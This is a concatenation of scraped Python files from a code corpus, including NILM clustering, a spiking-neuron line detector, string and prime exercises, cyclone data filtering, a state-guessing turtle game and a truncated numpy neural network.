return\n\n events = pd.DataFrame()\n for i, elec in enumerate(metergroup.all_meters()):\n print(\"Find Events for \" + str(elec.metadata))\n transitions = find_steady_states_transients(\n elec, cols=self.cols, state_threshold=self.state_threshold,\n noise_level=self.noise_level, **load_kwargs)[1]\n # Mark as on- or off-event\n transitions['type'] = transitions >= 0\n transitions['meter'] = elec\n events = events.append(transitions)\n\n events.index.rename('time', inplace=True)\n events.set_index(['type', 'meter'], append=True, inplace=True)\n events = events.reorder_levels([2,1,0])\n events.sort_index(inplace=True)\n # Hier vielleicht noch die Kombinationen finden\n self.events = events\n \n #self._save(events)\n\n\n \n # 2. Cluster the events using different cluster methodologies (Zuweisung passiert automatisch)\n # Ah es gibt doch ein predict: Und zwar elemente Clustern zuweisen \n clusters = None #self. _load_if_available(what='cluster')\n if clusters is None:\n for curGroup, groupEvents in events.groupby(['meter','type']):\n centroids, assignments = self._cluster_events(groupEvents, max_num_clusters=self.max_num_clusters, method='kmeans')\n events.loc[curGroup,'cluster'] = assignments \n #self._save(events, 'cluster')\n else:\n pass\n #events = clusters\n\n self.model = events\n \n\n\n \n def train_on_chunk(self, chunk):\n \"\"\" \n This function is actually not needed as the chunkwise processing is included inside the find_steady_states_transients function.\n This function goes through the power line and already identifies the events.\n For signature description see basic class: Only gets the chunk from the sitemeter, as it is unsupervised.\n\n Parameters\n ----------\n chunk : pd.DataFrame where each column represents a\n disaggregated appliance\n meter : ElecMeter for this chunk\n \"\"\"\n pass\n\n def disaggregate(self, mains, output_datastore, **load_kwargs):\n \"\"\"Disaggregate mains according to the model learnt previously.\n At the moment not used as we use the predict function in the main \n script.\n\n Parameters\n ----------\n mains : nilmtk.ElecMeter or nilmtk.MeterGroup => In facts the 3 phases\n output_datastore : instance of nilmtk.DataStore subclass\n For storing power predictions from disaggregation algorithm. => Wird in einem 2. Step benutzt \n **load_kwargs : key word arguments\n Passed to `mains.power_series(**kwargs)`\n \"\"\"\n \n # 3. Generate Finite State Machines (Test whether clustering fits)\n # 4. Bildender Sequenzen fuer jede State machine\n for meter, content in clusters.groupby(level=0):\n length = []\n for type, innerContent in content.groupby(level=1):\n length.append(len(innerContent.reset_index().cluster.unique()))\n if len(set(length)) > 1 :\n raise Exeption(\"different amount of clusters\")\n \n clusters['appliance'] = pd.Series()\n clusterCenters = clusters.groupby(['meter','type','cluster']).mean()\n for meter, content in clusterCenters.groupby(level=0):\n ups = content.loc[meter,True]['active transition']\n downs = content.loc[meter,False]['active transition']\n appliancesUp, appliancesDown = self._findPairs(ups,downs)\n for i in range(len(ups)):\n clusters.loc[(meter, True, slice(None), i),['appliance']] = appliancesUp[i]\n clusters.loc[(meter, False, slice(None), i),['appliance']] = appliancesDown[i] \n\n\n # 5. Einzelnd plotten, dh pro Phase (Ein plot fro appliance\n for instance, instanceEvents in events.groupby(level=0):\n instanceEvents.set_index('appliance', append=\"True\", inplace=True)\n tmp = instanceEvents.reset_index([0,1,3], drop=True).unstack('appliance').sort_index()\n tmp2 = tmp.cumsum().fillna(method=\"ffill\").fillna(method=\"bfill\")\n tmp2.plot(subplots=True, figsize=(6, 6));\n plt.show()\n allEventsTimeline = pd.concat(events[instanceNumber]).cumsum()\n disaggredatedTimelines = [tmp.cumsum() for tmp in disaggregated[instanceNumber]]\n self._plot_with_subplots(mains[instanceNumber+1], allEventsTimeline, disaggregated)\n\n # Initially all appliances/meters are in unknown state (denoted by -1)\n prev = OrderedDict()\n learnt_meters = self.centroids.index.values\n for meter in learnt_meters:\n prev[meter] = -1\n\n timeframes = []\n # Now iterating over mains data and disaggregating chunk by chunk\n for chunk in mains.power_series(**load_kwargs):\n # Record metadata\n timeframes.append(chunk.timeframe)\n measurement = chunk.name\n power_df = self.disaggregate_chunk(\n chunk, prev, transients)\n\n cols = pd.MultiIndex.from_tuples([chunk.name])\n\n for meter in learnt_meters:\n data_is_available = True\n df = power_df[[meter]]\n df.columns = cols\n key = '{}/elec/meter{:d}'.format(building_path, meter + 2)\n output_datastore.append(key, df)\n\n output_datastore.append(key=mains_data_location,\n value=pd.DataFrame(chunk, columns=cols))\n\n if data_is_available:\n self._save_metadata_for_disaggregation(\n output_datastore=output_datastore,\n sample_period=load_kwargs['sample_period'],\n measurement=measurement,\n timeframes=timeframes,\n building=mains.building(),\n supervised=False,\n num_meters=len(self.centroids)\n )\n \n \n\n def disaggregate_chunk(self, chunk, prev, transients):\n \"\"\"\n Parameters\n ----------\n chunk : pd.DataFrame\n mains power\n prev\n transients : returned by find_steady_state_transients\n\n Returns\n -------\n states : pd.DataFrame\n with same index as `chunk`.\n \"\"\"\n raise NotImplementedError(\"Muss ich ggf noch mal von den anderen Klassen herkopieren.\")\n\n\n\n #endregion\n\n #region machine learning functionality help functions\n \n def _cluster_events(self, events, max_num_clusters=3, exact_num_clusters=None, method='kmeans'):\n ''' Applies clustering on the previously extracted events. \n The _transform_data function can be removed as we are immediatly passing in the \n pandas dataframe.\n\n Parameters\n ----------\n events : pd.DataFrame with the columns \"PowerDelta, Duration, MaxSlope\"\n max_num_clusters : int\n exact_num_clusters: int\n method: string Possible approaches are \"kmeans\" and \"ward\"\n Returns\n -------\n centroids : ndarray of int32s\n Power in different states of an appliance, sorted\n \n labels: ndarray of int32s\n The assignment of each event to the events\n '''\n \n # Preprocess dataframe\n mapper = DataFrameMapper([('active transition', None)]) \n clusteringInput = mapper.fit_transform(events.copy())\n \n # Do the clustering\n num_clusters = -1\n silhouette = -1\n k_means_labels = {}\n k_means_cluster_centers = {}\n k_means_labels_unique = {}\n\n # If the exact number of clusters are specified, then use that\n if exact_num_clusters is not None:\n labels, centers = _apply_clustering_n_clusters(clusteringInput, exact_num_clusters, method)\n return centers.flatten()\n\n # Special case:\n if len(events) == 1: \n return np.array([events.iloc[0][\"active transition\"]]), np.array([0])\n\n # If exact cluster number not specified, use cluster validity measures to find optimal number\n for n_clusters in range(2, max_num_clusters):\n try:\n # Do a clustering for each amount of clusters\n labels, centers = self._apply_clustering_n_clusters(clusteringInput, n_clusters, method)\n k_means_labels[n_clusters] = labels\n k_means_cluster_centers[n_clusters] = centers\n k_means_labels_unique[n_clusters] = np.unique(labels)\n\n # Then score each of it and take the best one\n try:\n sh_n = sklearn.metrics.silhouette_score(\n events, k_means_labels[n_clusters], metric='euclidean')\n if sh_n > silhouette:\n silhouette = sh_n\n num_clusters = n_clusters\n except Exception as inst:\n num_clusters = n_clusters\n\n except Exception:\n if num_clusters > -1:\n return k_means_cluster_centers[num_clusters]\n else:\n return np.array([0])\n\n return k_means_cluster_centers[num_clusters].flatten(), k_means_labels[num_clusters]\n\n\n\n # Postprocess and return clusters (weiss noch nicht ob das notwendig ist)\n centroids = np.append(centroids, 0) # add 'off' state\n centroids = np.round(centroids).astype(np.int32)\n centroids = np.unique(centroids) # np.unique also sorts\n return centroids\n \n\n def _apply_clustering_n_clusters(self, X, n_clusters, method='kmeans'):\n \"\"\"\n :param X: ndarray\n :param n_clusters: exact number of clusters to use\n :param method: string kmeans or ward\n :return:\n \"\"\"\n if method == 'kmeans':\n k_means = KMeans(init='k-means++', n_clusters=n_clusters)\n k_means.fit(X)\n return k_means.labels_, k_means.cluster_centers_\n\n\n\n def _cluster_on_offs(self, events, max_num_clusters=3, exact_num_clusters=None):\n ''' This function clusters together the on and off events to find applicances \n that belong together.\n\n Das hier war der Hack mit dem Geometrischen Clustern. Momentan ungenutzt.\n '''\n \n allEvents = list(events['pos'][0]) + [abs(k) for k in events['neg'][0]]* 3\n\n # First create the connectivity matrix\n positives = len(events['pos'])\n negatives = len(events['neg'])\n A = np.zeros((positives,positives))\n B = np.ones((positives,negatives))\n C = np.ones((negatives,positives))\n D = np.zeros((negatives,negatives))\n connectivityMatrix = np.bmat([[A, B], [C, D]])\n\n # Do the clustering\n num_clusters = -1\n silhouette = -1\n k_means_labels = {}\n k_means_cluster_centers = {}\n k_means_labels_unique = {}\n\n # Then do the hierarchical clustering\n for n_clusters in range(2, np.min([max_num_clusters,positives+1,negatives+1])):\n try:\n # Do a clustering for each amount of clusters\n \n k_means = AgglomerativeClustering(n_clusters=n_clusters, connectivity=connectivityMatrix)\n k_means.fit(allEvents)\n labels = k_means.labels_\n centers = k_means.cluster_centers_\n k_means_labels[n_clusters] = labels\n k_means_cluster_centers[n_clusters] = centers\n k_means_labels_unique[n_clusters] = np.unique(labels)\n\n # Then score each of it and take the best one\n try:\n sh_n = sklearn.metrics.silhouette_score(\n events, k_means_labels[n_clusters], metric='euclidean')\n if sh_n > silhouette:\n silhouette = sh_n\n num_clusters = n_clusters\n except Exception as inst:\n num_clusters = n_clusters\n \n except Exception as inst:\n if num_clusters > -1:\n return k_means_cluster_centers[num_clusters]\n else:\n return np.array([0])\n\n return k_means_labels[num_clusters]\n\n\n\n\n #endregion\n\n \n def _save(self, events, what='events'):\n #file = open(\"tmpEvents.pckle\", \"w+\")\n #pickle.dump(events,file)\n #file.close()\n if what=='events':\n events.to_csv(\"tmpEvents.csv\")\n else:\n events.to_csv(\"tmpClusters.csv\")\n\n\n\n def _load_if_available(self, what='events'):\n #if os.path.isfile(\"tmpEvents.pckle\"):\n # file = open(\"tmpEvents.pckle\", \"r\")\n # tmp = pickle.load(file)\n # file.close()\n # return tmp\n target = \"\"\n if what == 'events':\n target = \"tmpEvents.csv\"\n columns = ['meter', 'type', 'time']\n else:\n target = \"tmpClusters.csv\"\n columns = ['meter', 'type', 'time', 'cluster']\n\n if os.path.isfile(target):\n return pd.read_csv(target, index_col=columns).sort_index()\n else:\n return None\n\n\n def _findPairs(self, a1, a2):\n up = range(len(a1))\n down = [None] * len(a2)\n for appliance in up:\n diff = sys.maxint\n minimumParter = None\n for partner in range(len(a2)):\n if not down[partner] is None:\n continue\n curDiff = np.fabs(np.add(a1[appliance], a2[partner])) # Elementwise absolute differences\n if curDiff < diff:\n diff = curDiff\n minimumPartner = partner\n down[minimumPartner] = appliance\n return up, down","sub_path":"nilmtk/disaggregate/custom_baranski.py","file_name":"custom_baranski.py","file_ext":"py","file_size_in_byte":19387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"582160432","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom layer import *\nfrom network import *\nfrom utility import *\nfrom picData import *\n\ndef getNetwork(kernel, kernelMax, fMin = 10, fMax = 200, capitance = 4, resistance = 16, vThreshold = 25, tau = 4, minSupervisedCurrent = -1, maxSupervisedCurrent = 1):\n #IN\n #np.ndarray kernel, shape = (3, 3), dtype = float32: weight of recepitive field\n #float32 kernelMax: maximum value after convolution\n #np.float32 fMin: mean firing rate with input 0, in Hz\n #np.float32 fMax: mean firing rate with input 1, in Hz\n #np.float32 capitance: C_m in μF\n #np.float32 resistance: R_m in kΩ\n #np.float32 vThreshold: threshold voltage V_t in mV\n #np.float32 tau: time constant for spike response\n #np.float32 minSupervisedCurrent: min supervised input current with 0, in μA\n #np.float32 maxSupervisedCurrent: max supervised input current with 1, in μA\n #OUT\n #network.supervised SNN: spiking neuron network\n\n neuronLayerList = []\n neuronLayerList.append(onOffLayer(7, 7, kernel, kernelMax, fMin, fMax))\n neuronLayerList.append(supervisedLIF(7, capitance = capitance, resistance = resistance, vThreshold = vThreshold))\n SNN = supervised(neuronLayerList, minSupervisedCurrent, maxSupervisedCurrent, synapseConfig = {'tau': tau})\n return SNN\n\n\ndef test(SNN, dataX, iterNum, forwardTime = 1000, plot = False, legend = True, fn_save = None):\n #IN\n #network.supervised SNN: spiking neuron network\n #np.ndarray dataX, dtype = np.float32: input data\n #int iterNum: iteration to train\n #int forwardTime: time to forward\n #bool plot: True: plot spike list; False: no plot\n if fn_save is None:\n fn_save = 'noName'\n dataSize = dataX.shape[0]\n idxList = np.array(range(dataSize), dtype = np.int8)\n\n testResult = [[None for i in range(dataSize)] for j in range(iterNum)]\n\n for iters in range(iterNum):\n print('iter %d: ' %iters)\n np.random.shuffle(idxList)\n for idx in idxList:\n print(' %d: ' %idx , end = '')\n SNN.reset()\n spike = SNN.batchedPredict(dataX[idx], forwardTime)\n rate = np.sum(spike, axis = 0).astype(np.float32) / forwardTime * 1000\n print(rate)\n testResult[iters][idx] = rate\n if plot is True:\n plotSpikeList(SNN.spikeListList, legend = legend, fn_save = fn_save + '.input%d.iter%d' %(idx, iters))\n testResult = np.array(testResult)\n return testResult\n\ndef SetLayer1Weight():\n #OUT\n #np.ndarray weight, dtype = float32: new synapse weights\n tempWeight = np.zeros((98, 7), dtype = np.float32)\n for row in range(7):\n rowWeight = np.zeros((2, 7, 7), dtype = np.float32)\n #on neuron\n rowWeight[1, row, :] = 1\n #off neuron\n if row != 0:\n rowWeight[0, row - 1, :] = 0.5\n if row != 6:\n rowWeight[0, row + 1, :] = 0.5\n tempWeight[:, row] = rowWeight.reshape(-1)\n return tempWeight\n\n\nif __name__ == '__main__':\n np.random.seed(6983)\n color = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\n\n kernel = np.array([[-1, -2, -1], [-2, 12, -2], [-1, -2, -1]], dtype = np.float32)\n # kernel = np.array([[-1, -1, -1], [-1, 8, -1], [-1, -1, -1]], dtype = np.float32)\n fMin = 10\n fMax = 200\n capitance = 2\n resistance = 8\n vThreshold = 25\n tau = 16\n minSupervisedCurrent = -1\n maxSupervisedCurrent = 1\n\n SNN = getNetwork(kernel, 12, fMin, fMax, capitance, resistance, vThreshold, tau, minSupervisedCurrent, maxSupervisedCurrent)\n SNN.synapseLayerList[-1].setWeight(SetLayer1Weight)\n\n #different angles\n print('\\ntest different angles')\n fn_save = 'lineAng'\n dataX = np.array(lineData().dataX, dtype = np.float32)\n result = test(SNN, dataX, 5, forwardTime = 1000, plot = False, legend = False, fn_save = fn_save)\n\n iterNum, dataSize, neuronNum = result.shape\n xAxis = (np.arange(dataSize) * 20 + 90) % 180 - 90\n xIdx = np.argsort(xAxis)\n for iters in range(iterNum):\n for idx in range(neuronNum):\n point = plt.scatter(xAxis[xIdx], result[iters, xIdx, idx], c = color[idx], marker = '.')\n\n meanResult = np.mean(result, axis = 0)\n for idx in range(neuronNum):\n line, = plt.plot(xAxis[xIdx], meanResult[xIdx, idx], c = color[idx], marker = 'o')\n line.set_label('neuron ' + str(idx))\n\n plt.xlabel('angles(degree)')\n plt.ylabel('firing rate')\n plt.legend(loc = 0)\n plt.title('line detector')\n plt.tight_layout()\n plt.savefig('../docs/plots/' + fn_save + '.iter%d' %iters + '.rate.png')\n plt.show()\n\n\n #different positions\n print('\\ntest different positions')\n fn_save = 'linePos'\n dataX = np.array(extendLineData().dataX, dtype = np.float32)\n result = test(SNN, dataX, 5, forwardTime = 1000, plot = False, legend = False, fn_save = fn_save)\n\n iterNum, dataSize, neuronNum = result.shape\n xAxis = np.arange(dataSize) + 1\n xIdx = np.argsort(xAxis)\n for iters in range(iterNum):\n for idx in range(neuronNum):\n point = plt.scatter(xAxis[xIdx], result[iters, xIdx, idx], c = color[idx], marker = '.')\n\n meanResult = np.mean(result, axis = 0)\n for idx in range(neuronNum):\n line, = plt.plot(xAxis[xIdx], meanResult[xIdx, idx], c = color[idx], marker = 'o')\n line.set_label('neuron ' + str(idx))\n\n plt.xlabel('positions')\n plt.ylabel('firing rate')\n plt.legend(loc = 0)\n plt.title('line detector')\n plt.tight_layout()\n plt.savefig('../docs/plots/' + fn_save + '.iter%d' %iters + '.rate.png')\n plt.show()","sub_path":"code/lineDetector.py","file_name":"lineDetector.py","file_ext":"py","file_size_in_byte":5614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"420805568","text":"# 1. A simple string quoting system is to replace each ' in a string by \\' and each \\ in a string by \\\\. \n# Write a function that takes a string, quotes it in this way, and returns the result.\ndef clean_string(string):\n string_to_list = list(string)\n cleaned_string = \"\"\n for char in string_to_list:\n # replace each \\ in a string by \\\\\n if char == \"\\\\\":\n cleaned_string += \"\\\\\\\\\"\n # replace each ' in a string by \\'\n elif char == \"'\":\n cleaned_string += \"\\\\'\"\n else:\n cleaned_string += char\n return cleaned_string\n\nstring_to_clean = \"1. A simple string quoting system is to replace each ' in a string by \\' and each \\ in a string by \\\\. \"\n\nfinal_string = clean_string(string_to_clean)\n\nprint(\"Cleaned String: \" + final_string)\n\n# 2. Write a function that takes two strings as arguments, and returns true if they are anagrams of each other, and false otherwise.\n\ndef string_to_dic_of_letters(string):\n dic_of_letters = {}\n for letter in list(string):\n dic_of_letters[letter] = dic_of_letters.get(letter, 0) + 1\n return dic_of_letters\n\ndef are_anagrams(string_1, string_2):\n # have the same length\n same_length = len(string_1) == len(string_2)\n if same_length:\n # each letter exist in the other\n letter_of_string_1 = string_to_dic_of_letters(string_1)\n letter_of_string_2 = string_to_dic_of_letters(string_2)\n # both words have the count per letter\n for i in letter_of_string_1:\n if letter_of_string_1[i] != letter_of_string_2[i]:\n return False\n return True\n else:\n return False\n\nanagrams_result = are_anagrams(\"mary\", \"army\") # \"mary <> army\", \"marty <> armies\"\n\nprint(\"Is anagram ? \" + str(anagrams_result))\n\n# 3. A palindrome is a string that is the same forwards and backwards, disregarding non-letters and case. Eg. « A man, a plan, a canal,\n# Panama. » is a palindrome. Write a function that takes a string as input, and returns wether it's a palindrome\n\ndef cleaning_string(string):\n cleaned_string = string.lower()\n punctuations = [' ','!','\"','#','$','%','&','\\'', \"'\",'(',')','*','+',',','-','.','/',':',';','<','=','>','?','@','[','\\\\',']','^','_','`','{','|','}','~']\n for i in punctuations:\n cleaned_string = cleaned_string.replace(i,\"\")\n return cleaned_string \n\ndef is_a_palindrome(string):\n # clean space and ponctuation from string\n cleaned_string = cleaning_string(string)\n cleaned_string_list = list(cleaned_string)\n # create reverse string\n reverse_string = \"\"\n reverse_string_list = cleaned_string_list[::-1]\n for letter in reverse_string_list:\n reverse_string += letter\n # test if reverse sentence is the sameas the initial sentence\n if cleaned_string == reverse_string:\n return True\n else:\n return False\n\npalindrome_result = is_a_palindrome(\"A man, a plan, a canal, Panama.\")\n\nprint(palindrome_result)\n","sub_path":"algo.py","file_name":"algo.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"399994361","text":"import numpy as np\nimport scipy.io as sio\nimport pandas as pd\nfrom datetime import datetime\nimport os\nimport csv\nfrom matplotlib.ticker import ScalarFormatter, MultipleLocator\nimport matplotlib.mlab as mlab\nimport scipy as sp\nfrom scipy.interpolate import UnivariateSpline\nimport scipy.interpolate as si\nfrom scipy.interpolate import interp1d\nfrom glob import glob\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nbase_dir = os.path.expanduser('~')\npath_data=base_dir+'/Dropbox/Monash_Uni/SO/MAC/Data/00 CSV/'\n\nlatMac=-54.50;\nlonMac=158.95;\n\n\n#*****************************************************************************\\\n#*****************************************************************************\\\n# CYCLONES\n#*****************************************************************************\\\n#*****************************************************************************\\\n#Reading\npath_mcms=base_dir+'/Dropbox/Monash_Uni/SO/MAC/Data/MCMS/'\n#Reading Multiples Files\nfnames = glob(path_mcms+'*.txt')\narrays = [np.loadtxt(f, delimiter=' ') for f in fnames]\narray_cyc = np.concatenate(arrays, axis=0)\n#np.savetxt('result.txt', final_array, fmt='%.2f')\n#*****************************************************************************\\\n#Filtrar\n#*****************************************************************************\\\n#Latitud\nCoLat=array_cyc[:,5]\nlat = 90.0 - (CoLat*0.01);\nindlan = np.nonzero(lat<-30.)\nlat2=lat[indlan] #Eliminate North Hemisphere\n\ncycf1=array_cyc[indlan]\n\n#Lontitud\nCoLon=cycf1[:,6]\nlon=CoLon*0.01;\nindlon = np.nonzero(lon<180)\nlon2=lon[indlon] #Eliminate\n\ncyc_close=cycf1[indlon]\n\n\n#Hora\nhora=cyc_close[:,3]\nindh1 = np.nonzero(hora!=6)\ncyc_h1=cyc_close[indh1]\nhora1=cyc_h1[:,3]\nindh2 = np.nonzero(hora1!=18)\ncyc_filt=cyc_h1[indh2]\n\n\n#*****************************************************************************\\\n#Latitud\nlati = 90.0 - (cyc_filt[:,5]*0.01);\n#Longitud\nlongi=cyc_filt[:,6]*0.01;\n#*****************************************************************************\\\n#Distance from MAC\ndy=(-lati+latMac);\ndx=(-longi+lonMac);\n\n#15 degrees from MAC\nlim=15;\n\ndistance=np.sqrt(dy**2+dx**2);\nind_dist = np.nonzero(distance<=lim)\n\nlatitud=lati[ind_dist]\nlongitud=longi[ind_dist]\ncyc_mac=cyc_filt[ind_dist]\ndist_low=distance[ind_dist]\ndel dy,dx\n#*****************************************************************************\\\n#Creating datetime variables\narray=cyc_mac[:,0:4] #Array fechas\n\nyy=array[:,0].astype(int)\nmm=array[:,1].astype(int)\ndd=array[:,2].astype(int)\nhh=array[:,3].astype(int)\n\nndates,_=array.shape\n\nmydates=np.array([])\nfor n in range(0,ndates):\n mydates=np.append(mydates, datetime(yy[n], mm[n], dd[n],hh[n],0,0))\n\n#*****************************************************************************\\\n#Dataframe Pandas\n\ndm={'USI':cyc_mac[:,-1],\n'lat':latitud,\n'lon':longitud,\n'dist':dist_low}\n\ndf_cyc1 = pd.DataFrame(data=dm,index=mydates)\n\n#*****************************************************************************\\\n#Closest Cyclon\n\ndf2 = df_cyc1.groupby(df_cyc1.index)\ntarget = df2['dist'].min().values\nidx=[np.where(df_cyc1['dist']==v)[0][0] for v in target]\ndf_cyc2 = df_cyc1.iloc[idx].copy()\n\n# Eliminate Duplicate Soundings\ndf_cyc3=df_cyc2.reset_index().drop_duplicates(cols='index',take_last=True).set_index('index')\n\n#Date index del periodo 2006-2010\ndate_index_all = pd.date_range('2006-01-01 00:00', periods=3652, freq='12H')\ndf_cyc4=df_cyc3.reindex(date_index_all)\n#*****************************************************************************\\\n# #Calcular distancia from low\n# df_cyc4['dy']=(-df_cyc3['lat']+latMac)\n# df_cyc4['dx']=(-df_cyc3['lon']+lonMac)\n\n# df_cyc4.index.name = 'Fecha'\n# # df_mac= df_mac_final.set_index('Date')\n# # df_yotc= df_yotc_all.set_index('Date')\n# #df_yotc= df_yotc.set_index('Date')\n# df_my= df_macyotc_final.set_index('Date')\n\n\n\n\n# #Unir datraframe mac con cyclones\n# df_maccyc=pd.concat([df_mac, df_cyc4],axis=1)\n\n# #Unir datraframe yotc con cyclones\n# df_yotccyc=pd.concat([df_yotc, df_cyc4],axis=1)\n\n# #Unir datraframe mac-yotc con cyclones\n# df_mycyc=pd.concat([df_my, df_cyc4],axis=1)\n\n#*****************************************************************************\\\n#Saving CSV\n#*****************************************************************************\\\npath_data_save=base_dir+'/Dropbox/Monash_Uni/SO/MAC/Data/00 CSV/'\n\n# df_maccyc.to_csv(path_data_save + 'df_maccyc.csv', sep='\\t', encoding='utf-8')\n# df_yotccyc.to_csv(path_data_save + 'df_yotccyc.csv', sep='\\t', encoding='utf-8')\n# df_mycyc.to_csv(path_data_save + 'df_mycyc.csv', sep='\\t', encoding='utf-8')\n\n\n","sub_path":"Python/Fronts-Cyclones/03_readjust_cyclones.py","file_name":"03_readjust_cyclones.py","file_ext":"py","file_size_in_byte":4595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"296919132","text":"# euler 51\n\nimport time\n\ndef prime_sieve2(n):\n\n primes = [False]*2 + [True for i in range(2,n+1)]\n p = 2\n\n while(p*p < n):\n\n for i in range(2*p,n + 1, p):\n primes[i] = False\n\n p = primes.index(True,p+1)\n\n return primes\n\ndef replace_check(s,d,primes):\n\n count = 0\n\n for i in range(0,10):\n\n if int(s.replace(d,str(i))) in primes:\n count += 1\n\n\n return count\n\n\ndef prime_replace():\n\n primes = [i+100000 for i,v in enumerate(prime_sieve2(1000000)[100000:1000000]) if v]\n\n for i in primes:\n\n s = str(i)\n\n # check if atleast 3 digits are repeated\n if s.count('0') >= 3 :\n if replace_check(s,'0',primes) == 8:\n return s\n\n if s.count('1') >= 3 and s[5] != '1':\n if replace_check(s,'1',primes) == 8:\n return s\n\n if s.count('2') >= 3 :\n if replace_check(s,'2',primes) == 8:\n return s\n\n\ndef main():\n\n s = time.time()\n print(prime_replace())\n print(\"Time taken: \" , time.time()-s, \"s\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"euler051.py","file_name":"euler051.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"576526151","text":"import turtle\r\nimport pandas\r\n\r\nscreen = turtle.Screen()\r\nscreen.title(\"US States Game\")\r\n\r\nimage = \"blank_states_img.gif\"\r\nscreen.addshape(image)\r\n\r\nturtle.shape(image)\r\ndata = pandas.read_csv(\"50_states.csv\")\r\nstates = data.state.tolist()\r\nx_cor = data['x'].tolist()\r\ny_cor = data['y'].tolist()\r\n\r\ngame_on = True\r\ncount = 0\r\ncorrect_guess = []\r\n\r\nwhile len(correct_guess) < 50:\r\n answer = screen.textinput(title=f\"{count}/50 Guess the State\", prompt=\"Enter State's Name\")\r\n answer_state = answer.title()\r\n if answer_state == 'Exit':\r\n break\r\n if answer_state in states:\r\n correct_guess.append(answer_state)\r\n count += 1\r\n name = turtle.Turtle()\r\n name.hideturtle()\r\n name.penup()\r\n x_dist = x_cor[states.index(answer_state)]\r\n y_dist = y_cor[states.index(answer_state)]\r\n name.goto(x_dist, y_dist)\r\n name.write(answer_state)\r\n\r\n\r\nstates_to_learn = []\r\nfor state in states:\r\n if state not in correct_guess:\r\n states_to_learn.append(state)\r\n\r\nprint(states_to_learn)\r\nfinal = pandas.DataFrame(states_to_learn)\r\nfinal.to_csv(\"states_to_learn\")","sub_path":"Day 25 US State Game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"410672850","text":"\"\"\"\nThere is an integer array which has the following features:\n\nThe numbers in adjacent positions are different.\nA[0] < A[1] && A[A.length - 2] > A[A.length - 1].\nWe define a position P is a peek if:\n\nA[P] > A[P-1] && A[P] > A[P+1]\nFind a peak element in this array. Return the index of the peak.\n\"\"\"\ndef findPeak(A):\n \"\"\"\n Recursion\n \"\"\"\n # write your code here\n if len(A) < 3: return -1\n st = 0\n end = len(A) - 1\n \n return self.FPhelper(A, st, end)\n \ndef FPhelper( A, st, end):\n if st > end:\n return -1\n \n mid = (st + end) / 2\n val = A[mid]\n \n if mid > 0 and mid < len(A) - 1:\n if val > A[mid - 1] and val > A[mid + 1]:\n return mid\n ret = FPhelper(A, st, mid - 1)\n if ret == -1:\n return FPhelper(A, mid + 1, end)\n else:\n return ret\n \n","sub_path":"find_peak_element.py","file_name":"find_peak_element.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"505086723","text":"import pandas as pd\nimport numpy as np\n\ndef softmax(x):\n if x.ndim == 1:\n maxi= np.amax(x)\n sub = maxi * np.ones(x.size)\n x = x-sub\n x = np.exp(x)\n tot = np.sum(x)\n x = x / tot\n \n \n else:\n maxi= np.amax(x, axis=1)\n \n x = x - maxi[:,None]\n x = np.exp(x)\n tot = np.sum(x, axis = 1)\n x = x / tot[:,None]\n\t\n \n return x\n\n\n\ndef sigmoid(x):\n x = 1 /(1 + np.exp(-x))\n return x\n\ndef sigmoid_grad(f):\n \n f = f - (f ** 2)\n return f\n\n\ndef cost_grad(W1, W2, W3, b1, b2, b3, X_train, y):\n (m, n) = X_train.shape\n l1 = X_train.dot(W1) + b1\n h = sigmoid(l1)\n l2 = h.dot(W2) + b2\n h2 = sigmoid(l2)\n l3 = h2.dot(w3) + b3\n y_hat = softmax(l3)\n\n J = -np.sum(y * np.log(y_hat)) / m # cross entropy\n \n ### backward propagation\n dl3 = y_hat - y\n dW3 = np.dot(h2.T, dl3)\n db3 = np.sum(dl3, axis=0)\n\n dh2 = np.dot(dl3, W3.T)\n\n dl2 = dh2 * sigmoid_grad(h2)\n dW2 = np.dot(h.T, dl2)\n db2 = np.sum(dl2, axis=0)\n\n dh = np.dot(dl2, W2.T)\n\n dl1 = dh * sigmoid_grad(h)\n dW1 = np.dot(X_train.T, dl1)\n db1 = np.sum(dl1, axis=0)\n\n gradW3 = dW3/m\n gradb3 = db3/m\n gradW2 = dW2/m\n gradb2 = db2/m\n gradW1 = dW1/m\n gradb1 = db1/m \n return J, gradW1, gradW2, gradb1, gradb2, gradW3, gradb3\n\ndef predict(X_train, y, W1, W2, W3, b1 ,b2, b3):\n (m, n) = X_train.shape\n l1 = X_train.dot(W1) + b1\n h = sigmoid(l1)\n l2 = h.dot(W2) + b2\n h2 = sigmoid(l2)\n l3 = h2.dot(w3) + b3\n y_hat = softmax(l3)\n y = y.argmax(1)\n preds = y_hat.argmax(1)\n accuracy = (np.sum(preds == y)/m)\n return accuracy\n\n\nfile_=pd.read_csv('train.csv')\nlabels = pd.DataFrame(file_[\"label\"])\ndatu = pd.DataFrame(file_.drop(\"label\", axis=1))\n\nX = datu.values\n(m,n) = X.shape\n\nX_train = X[0:round(m*(0.9)),:]\nX_test = X[0:(m-round(m*(0.9))),:]\n\nhidden_neurons1 = 500\nhidden_neurons2 = 100\noutput_neurons = 10\n\ny = np.zeros((m, output_neurons))\ni=0\nfor i in range(m):\n y[i,labels.iloc[i]] = 1\n\ny_train = y[0:round(m*(0.9)),:]\ny_test = y[0:(m-round(m*(0.9))),:]\n\nw1 = np.random.uniform(high=((6/(hidden_neurons1+n))**(1/2)), low=-((6/(hidden_neurons1+n))**(1/2)),size=(n, hidden_neurons1))\nb1 = np.zeros((1, hidden_neurons1))\nw2 = np.random.uniform(high=((6/(hidden_neurons1+hidden_neurons2))**(1/2)), 